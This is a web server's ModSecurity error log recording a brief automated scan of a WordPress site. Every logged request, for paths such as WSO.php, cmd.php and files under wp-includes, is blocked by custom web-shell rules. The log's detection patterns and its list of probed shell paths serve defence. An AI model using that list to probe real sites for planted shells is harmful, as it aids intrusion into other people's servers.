[Wed Feb 04 00:37:24.347145 2026] [:error] [pid 5229:tid 5237] [client 85.203.21.109:46449] [client 85.203.21.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aYIkREKmEgmJub93yUpJawAAAYY"]
[Wed Feb 04 00:37:24.639444 2026] [:error] [pid 5148:tid 5161] [client 85.203.21.153:54401] [client 85.203.21.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-2019.php"] [unique_id "aYIkRL83HCHLtUIbS7IpGgAAAUo"]
[Wed Feb 04 00:37:25.021048 2026] [:error] [pid 43028:tid 43053] [client 85.203.21.96:34385] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/users.php"] [unique_id "aYIkRVnHWnJD4cJC5DsEKwAAANc"]
[Wed Feb 04 00:37:25.318248 2026] [:error] [pid 5229:tid 5255] [client 85.203.21.70:27657] [client 85.203.21.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/images"] [unique_id "aYIkRUKmEgmJub93yUpJbAAAAZg"]
[Wed Feb 04 00:37:25.618885 2026] [:error] [pid 5229:tid 5243] [client 85.203.21.105:63505] [client 85.203.21.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ma.php"] [unique_id "aYIkRUKmEgmJub93yUpJbQAAAYw"]
[Wed Feb 04 00:37:25.913909 2026] [:error] [pid 42922:tid 43009] [client 85.203.21.137:21171] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors"] [unique_id "aYIkRWazX4WPS_dQRkjWnQAAAJg"]
[Wed Feb 04 00:37:26.210244 2026] [:error] [pid 5229:tid 5242] [client 85.203.21.119:62033] [client 85.203.21.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads"] [unique_id "aYIkRkKmEgmJub93yUpJbgAAAYs"]
[Wed Feb 04 00:37:26.505471 2026] [:error] [pid 5148:tid 5170] [client 85.203.21.139:29673] [client 85.203.21.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/asasx.php"] [unique_id "aYIkRr83HCHLtUIbS7IpHAAAAVM"]
[Wed Feb 04 00:37:26.796881 2026] [:error] [pid 5229:tid 5244] [client 85.203.21.73:43743] [client 85.203.21.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aYIkRkKmEgmJub93yUpJcAAAAY0"]
[Wed Feb 04 00:37:27.089987 2026] [:error] [pid 42922:tid 42992] [client 85.203.21.139:45963] [client 85.203.21.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aYIkR2azX4WPS_dQRkjWngAAAIc"]
[Wed Feb 04 00:37:27.383406 2026] [:error] [pid 42921:tid 42958] [client 85.203.21.131:35929] [client 85.203.21.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin.php"] [unique_id "aYIkR4blShffGl-01oe0fgAAAEA"]
[Wed Feb 04 00:37:27.675475 2026] [:error] [pid 43028:tid 43046] [client 85.203.21.112:39965] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/ocean/"] [unique_id "aYIkR1nHWnJD4cJC5DsENwAAANA"]
[Wed Feb 04 00:37:27.991362 2026] [:error] [pid 42921:tid 42970] [client 85.203.21.150:20857] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin/controller/extension/extension/"] [unique_id "aYIkR4blShffGl-01oe0fwAAAEw"]
[Wed Feb 04 00:37:28.283984 2026] [:error] [pid 42922:tid 42988] [client 85.203.21.92:46445] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/dropdown.php"] [unique_id "aYIkSGazX4WPS_dQRkjWoQAAAIM"]
[Wed Feb 04 00:37:28.579117 2026] [:error] [pid 5148:tid 5157] [client 85.203.21.92:40647] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/post.php"] [unique_id "aYIkSL83HCHLtUIbS7IpHgAAAUY"]
[Wed Feb 04 00:37:28.880452 2026] [:error] [pid 28720:tid 28741] [client 85.203.21.114:44631] [client 85.203.21.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/phpinfo.php"] [unique_id "aYIkSGmRXm2bmr_sYiYLWQAAARM"]
[Wed Feb 04 00:37:29.174057 2026] [:error] [pid 42922:tid 42999] [client 85.203.21.110:39165] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/assets/css/"] [unique_id "aYIkSWazX4WPS_dQRkjWpQAAAI4"]
[Wed Feb 04 00:37:29.467178 2026] [:error] [pid 5148:tid 5169] [client 85.203.21.139:40109] [client 85.203.21.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/WSO.php"] [unique_id "aYIkSb83HCHLtUIbS7IpIAAAAVI"]
[Wed Feb 04 00:37:29.758158 2026] [:error] [pid 42922:tid 42989] [client 85.203.21.101:58287] [client 85.203.21.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/"] [unique_id "aYIkSWazX4WPS_dQRkjWpgAAAIQ"]
[Wed Feb 04 00:37:30.049509 2026] [:error] [pid 5148:tid 5153] [client 85.203.21.118:45727] [client 85.203.21.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-user.php"] [unique_id "aYIkSr83HCHLtUIbS7IpIwAAAUI"]
[Wed Feb 04 00:37:30.343817 2026] [:error] [pid 5229:tid 5235] [client 85.203.21.88:54625] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/sql.php"] [unique_id "aYIkSkKmEgmJub93yUpJcgAAAYQ"]
[Wed Feb 04 00:37:30.639671 2026] [:error] [pid 43028:tid 43036] [client 85.203.21.150:58093] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/file.php"] [unique_id "aYIkSlnHWnJD4cJC5DsEPwAAAMY"]
[Wed Feb 04 00:37:30.955798 2026] [:error] [pid 5229:tid 5250] [client 85.203.21.92:29695] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/file-manager.php"] [unique_id "aYIkSkKmEgmJub93yUpJdAAAAZM"]
[Wed Feb 04 00:37:31.257920 2026] [:error] [pid 5229:tid 5233] [client 85.203.21.133:27025] [client 85.203.21.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-signin.php"] [unique_id "aYIkS0KmEgmJub93yUpJdQAAAYI"]
[Wed Feb 04 00:37:31.550106 2026] [:error] [pid 28720:tid 28734] [client 85.203.21.138:32967] [client 85.203.21.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/zz.php"] [unique_id "aYIkS2mRXm2bmr_sYiYLXAAAAQw"]
[Wed Feb 04 00:37:31.844563 2026] [:error] [pid 42921:tid 42977] [client 85.203.21.75:43673] [client 85.203.21.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/sx.php"] [unique_id "aYIkS4blShffGl-01oe0hQAAAFM"]
[Wed Feb 04 00:37:32.138538 2026] [:error] [pid 42922:tid 43008] [client 85.203.21.112:28777] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/zwso.php"] [unique_id "aYIkTGazX4WPS_dQRkjWqAAAAJc"]
[Wed Feb 04 00:37:32.431060 2026] [:error] [pid 5148:tid 5172] [client 85.203.21.74:24229] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/gettest.php"] [unique_id "aYIkTL83HCHLtUIbS7IpKAAAAVU"]
[Wed Feb 04 00:37:32.726482 2026] [:error] [pid 43028:tid 43038] [client 85.203.21.147:56259] [client 85.203.21.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/cache/gfhfv.php"] [unique_id "aYIkTFnHWnJD4cJC5DsEQQAAAMg"]
[Wed Feb 04 00:37:33.023423 2026] [:error] [pid 5148:tid 5165] [client 85.203.21.86:58739] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/gfhfv.php"] [unique_id "aYIkTb83HCHLtUIbS7IpKQAAAU4"]
[Wed Feb 04 00:37:33.317165 2026] [:error] [pid 42922:tid 43002] [client 85.203.21.87:22821] [client 85.203.21.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/config.php"] [unique_id "aYIkTWazX4WPS_dQRkjWrAAAAJE"]
[Wed Feb 04 00:37:33.617400 2026] [:error] [pid 5148:tid 5175] [client 85.203.21.96:31113] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-mails.php"] [unique_id "aYIkTb83HCHLtUIbS7IpKwAAAVg"]
[Wed Feb 04 00:37:33.911154 2026] [:error] [pid 42922:tid 43000] [client 85.203.21.95:36217] [client 85.203.21.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/mer_gagal.php"] [unique_id "aYIkTWazX4WPS_dQRkjWrwAAAI8"]
[Wed Feb 04 00:37:34.207380 2026] [:error] [pid 42921:tid 42973] [client 85.203.21.76:30551] [client 85.203.21.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/speculative8.php"] [unique_id "aYIkToblShffGl-01oe0hgAAAE8"]
[Wed Feb 04 00:37:34.500453 2026] [:error] [pid 28720:tid 28733] [client 85.203.21.143:48399] [client 85.203.21.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/000.php"] [unique_id "aYIkTmmRXm2bmr_sYiYLXgAAAQs"]
[Wed Feb 04 00:37:34.792363 2026] [:error] [pid 43028:tid 43043] [client 85.203.21.75:42351] [client 85.203.21.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/k.php"] [unique_id "aYIkTlnHWnJD4cJC5DsESAAAAM0"]
[Wed Feb 04 00:37:35.085790 2026] [:error] [pid 42922:tid 42996] [client 85.203.21.96:62237] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/anskrit.php"] [unique_id "aYIkT2azX4WPS_dQRkjWtQAAAIs"]
[Wed Feb 04 00:37:35.378652 2026] [:error] [pid 42922:tid 42994] [client 85.203.21.135:50991] [client 85.203.21.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/abilities-api/about.php"] [unique_id "aYIkT2azX4WPS_dQRkjWtwAAAIk"]
[Wed Feb 04 00:37:35.670452 2026] [:error] [pid 42922:tid 43003] [client 85.203.21.118:24187] [client 85.203.21.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/webdb.php"] [unique_id "aYIkT2azX4WPS_dQRkjWuQAAAJI"]
[Wed Feb 04 00:37:35.964061 2026] [:error] [pid 43028:tid 43040] [client 85.203.21.152:40011] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-widget-table.php"] [unique_id "aYIkT1nHWnJD4cJC5DsESwAAAMo"]
[Wed Feb 04 00:37:36.262477 2026] [:error] [pid 42920:tid 42937] [client 85.203.21.115:31275] [client 85.203.21.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/back.php"] [unique_id "aYIkUCix3YKltG4EU0m-YgAAAAg"]
[Wed Feb 04 00:37:36.562041 2026] [:error] [pid 42921:tid 42970] [client 85.203.21.77:29981] [client 85.203.21.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2025/index.php"] [unique_id "aYIkUIblShffGl-01oe0iAAAAEw"]
[Wed Feb 04 00:37:36.865153 2026] [:error] [pid 42920:tid 42931] [client 85.203.21.147:38135] [client 85.203.21.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/revslider/templates/brutal-menu/index.php"] [unique_id "aYIkUCix3YKltG4EU0m-YwAAAAI"]
[Wed Feb 04 00:37:37.164228 2026] [:error] [pid 28720:tid 28742] [client 85.203.21.137:34539] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/revslider/templates/rockable-lineup-2/index.php"] [unique_id "aYIkUWmRXm2bmr_sYiYLYQAAARQ"]
[Wed Feb 04 00:37:37.455444 2026] [:error] [pid 42922:tid 43004] [client 85.203.21.71:58243] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wcdp-uploads/temp/xxc/stuff/wp-class.php"] [unique_id "aYIkUWazX4WPS_dQRkjWvAAAAJM"]
[Wed Feb 04 00:37:37.749087 2026] [:error] [pid 42920:tid 42952] [client 85.203.21.131:59579] [client 85.203.21.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/cpo_temp/services.php"] [unique_id "aYIkUSix3YKltG4EU0m-ZgAAABc"]
[Wed Feb 04 00:37:38.040662 2026] [:error] [pid 43028:tid 43051] [client 85.203.21.85:65061] [client 85.203.21.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wpvivid_uploads/wp-conflg.php"] [unique_id "aYIkUlnHWnJD4cJC5DsEUQAAANU"]
[Wed Feb 04 00:37:38.336052 2026] [:error] [pid 43028:tid 43050] [client 85.203.21.114:53811] [client 85.203.21.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wpvivid_uploads/Isolate/error/index.php"] [unique_id "aYIkUlnHWnJD4cJC5DsEUwAAANQ"]
[Wed Feb 04 00:37:38.628649 2026] [:error] [pid 42922:tid 42992] [client 85.203.21.73:44313] [client 85.203.21.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/updraft/emptydir/index.php"] [unique_id "aYIkUmazX4WPS_dQRkjWvwAAAIc"]
[Wed Feb 04 00:37:38.928148 2026] [:error] [pid 43028:tid 43033] [client 85.203.21.86:48917] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/updraft/plugins-old/updraftplus/vendor/team-updraft/index.php"] [unique_id "aYIkUlnHWnJD4cJC5DsEVwAAAMM"]
[Wed Feb 04 00:37:39.226855 2026] [:error] [pid 5229:tid 5255] [client 85.203.21.111:39611] [client 85.203.21.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/file.php"] [unique_id "aYIkU0KmEgmJub93yUpJdwAAAZg"]
[Wed Feb 04 00:37:39.525410 2026] [:error] [pid 43028:tid 43039] [client 85.203.21.87:59019] [client 85.203.21.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/phpad/acp.php"] [unique_id "aYIkU1nHWnJD4cJC5DsEWAAAAMk"]
[Wed Feb 04 00:37:39.818545 2026] [:error] [pid 42921:tid 42964] [client 85.203.21.76:33457] [client 85.203.21.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/phpadmin/autoload_classmap.php"] [unique_id "aYIkU4blShffGl-01oe0kAAAAEY"]
[Wed Feb 04 00:37:40.124980 2026] [:error] [pid 28720:tid 28745] [client 85.203.21.110:52345] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/akismet/views/cmd.php"] [unique_id "aYIkVGmRXm2bmr_sYiYLZQAAARc"]
